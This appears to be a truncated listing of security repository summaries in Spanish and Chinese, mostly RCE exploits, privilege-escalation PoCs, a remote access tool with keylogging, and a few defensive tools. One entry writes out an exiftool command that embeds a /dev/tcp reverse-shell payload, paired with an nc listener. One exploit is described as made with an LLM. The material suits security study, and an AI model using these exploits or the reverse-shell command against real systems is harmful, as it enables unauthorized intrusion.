RCE

CVE-2022-31814 Bug de WebApp import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disablewarningsInsecureRequestWarning parser = argparse.ArgumentParserdescription="pfBlockerNG ...

CVE-2022-4510-WalkingPath

CVE-2022-4510-Binwalk Este script te permite generar exploits para apuntar a las vulnerabilidades de Binwalk CVE-2022-4510. Los exploits se pueden usar para pruebas y demostraciones. Las opciones compatibles incluyen SSH, ejecución de comandos y reverse shell. Requisitos previos Python 3.x Uso 1...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 Herramienta de Explotación RCE de WonderCMS CVE-2023-41425 Esta herramienta ofensiva de seguridad basada en Python automatiza la explotación de una vulnerabilidad de Ejecución Remota de Código RCE en WonderCMS 4.3.2 , específicamente CVE-2023-41425. Simplifica el proceso de crear un módulo de...

CVE-2020-5844

CVE-2020-5844 RCE autenticado en PandoraFMS 7.0-NG 742 Atacantes con privilegios de administrador pueden subir documentos PHP maliciosos. Decodificando la ubicación del archivo en base64 los usuarios pueden obtener una shell como usuario apache. Descubierto por TheCyberGeek Script de PoC en Pytho...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred ESTE \space EXPLOIT \space PUEDE \space VIOLAR \space LA \space LEY.$$ $$\colorred\space USTED \space ES \space RESPONSABLE \space DE \space SUS \space ACCIONES.$$ $$\colorredSOLO \space CON \space FINES \space DE \space DEMOSTRACIÓN.$$ DESCRIPCIÓN RCE por usuarios no...

victorian_machinery

维多利亚机械 维多利亚机械是 CVE-2022-30525 的概念验证漏洞利用。该漏洞是一个未经身份验证的远程命令注入漏洞，影响支持零接触配置的 Zyxel 防火墙。Zyxel 已于 2022 年 4 月 28 日推送了修复程序。已知受影响的型号包括： USG FLEX 100, 100W, 200, 500, 700 ATP 100, 200, 500, 700, 800 USG20-VPN 和 USG20w-VPN 截至撰写本文时，Shodan 上可见超过 16,000 台受影响设备。暴露管理 Web 界面 并非...

cve-2023-6931-pipa

CVE-2023-6931 — Xiaomi Pad 6 pipa escalada de privilegios y desactivación de SELinux La versión final del exploit utilizada en el dispositivo, organizada por separado en este directorio. Objetivo Dispositivo Xiaomi Pad 6 / pipa / SM8250 Sistema HyperOS OS2.0.20.0.UMZCNXM Kernel...

CVE-2023-24610

CVE-2023-24610 这是针对 CVE-2023-24610 的概念验证 首先，我们使用 exiftool 创建一个多语言文件： exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 我们将文件改为 png 格式，以通过前端检查 之后，我们在 8888 端口启动一个 nc 监听器来接收 shell。 下一步是登录应用程序并点击设置 在页面底部，我们看到一个练习标志区域。我们可以通过右侧的编辑按钮上传文件 点击编辑，然后点击浏览，选择我们在第一步创建的“.png”文件 在上传之前，确保我们用...

intelspy

Perform automated network reconnaissance scans to gather network intelligence. IntelSpy is a multi-threaded network intelligence tool which performs automated network services enumeration. It performs live hosts detection scans, port scans, services enumeration scans, web content scans,...

shellsum

Shellsum 这是什么？ 一个防御工具 - 通过 md5sum 检测本地目录中的 Web Shell 功能 速度快 轻量级 大数据库 表格输出 用法 安装 git clone https://github.com/ManhNho/shellsum.git chmod 755 -R shellsum/ cd shellsum/ pip install -r requirements.txt 运行 python shellsum.py 演示 待办 平滑输出 导出文件报告 模块化 更大的数据库 参考 https://github.com/tennc/webshell...

CVE-2018-2893

本软件仅限用于学习交流禁止用于任何非法行为 起这个名字主要目的是蹭一下2893的热度，反弹shell生成器 主要作用是生成自己的外网nc监听对象，希望可以帮助到一些代码小白，2893 2628不适用需要借助第三方服务端口生成远程服务 github搬运工...

PIRATE

PIRATE Herramienta de Acceso Remoto Python Uso 1- ejecutar payloader.py para generar el script del cliente 2- ejecutar pirate.py para administrar el servidor y recibir la conexión Características Abrir shell remota Tomar captura de pantalla Tomar foto con la cámara web Ejecutar keylogger...

Awesome_shiro

Awesome-shiro Herramienta para la deserialización de Shirodecodificar Base64--descifrar AES--deserializar Entorno linux/win10 ambos python2/python3 ambos Debido a que hay ysoserial.jar en module, el proyecto es algo grande; disculpa las molestias. Montar el laboratorio local docker pull...

metasploitable-pentest-report

Metasploitable 2 — Informe de Prueba de Penetración Descargo de responsabilidad: Esta prueba de penetración se realizó en un entorno de laboratorio privado y aislado de VMware con fines educativos únicamente. No se accedió a sistemas reales. Todas las direcciones IP han sido anonimizadas. Resumen...

CVE-2017-9544

CVE-2017-9544 Exploit para desbordamiento de búfer basado en SEH en Easy Chat Server CVE-2017-9544 Basado en: pwntools msfvenom / reversetcp payload ropper x64dbg Aplicación vulnerable disponible en https://www.exploit-db.com/exploits/42155 Configuración Configurar IP de víctima a 192.168.15.100 ...

CVE-2026-26718

Descripción Resumen Existe una vulnerabilidad de falsificación de solicitudes entre sitios CSRF en la aplicación web xxl-job-admin que permite a un atacante realizar modificaciones no autorizadas en los scripts de shell de Glue IDE. El endpoint afectado carece de una validación adecuada del token...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift PoC de RCE con Reverse Shell Prueba de concepto de ejecución remota de código para CVE-2026-42945 , un desbordamiento de búfer en el heap del módulo ngxhttprewritemodule de NGINX. Este fork extiende el PoC público de activación con un listener de reverse shell integrado ...

CVE-2024-14027_slop

CVE-2024-14027 - SlopSploit 这些漏洞已在 6.6.51 内核上，使用 Qemu 的 Debian 安装进行了测试。 exploit.c - 将泄露 shadow 文件。 exploitdc.c - 演示了双关闭方法以获取根 shell。 WRITEUP.md - LLM 生成的 writeup。 这是一个使用 LLM（Opus 4.6）利用一种独特内核漏洞的实验，该漏洞源于能够重新分配/使用已被释放的同类型对象，详情参见grsecurity 的文章。 结果令人惊讶，因为事实上这个 bug 无需 LLM 也相当容易利用。利用方法直接明了，几乎与 Mathias...

CVE-2025-6019

CVE-2025-6019 Prueba de Concepto PoC Este repositorio contiene un script de Prueba de Concepto PoC para CVE-2025-6019 , una vulnerabilidad de Escalada de Privilegios Local LPE en libblockdev y udisks. El script crea una imagen de sistema de archivos XFS con un binario SUID bash y explota la...

log4j-rce-test

Compilar ./build.sh Iniciar el servidor RCE de log4j ./start-log4j-rce-server.sh Probar Ejecuta java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Comprueba si obtienes logs en hack.log desde el directorio actual Puedes cambiar esta línea String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString ...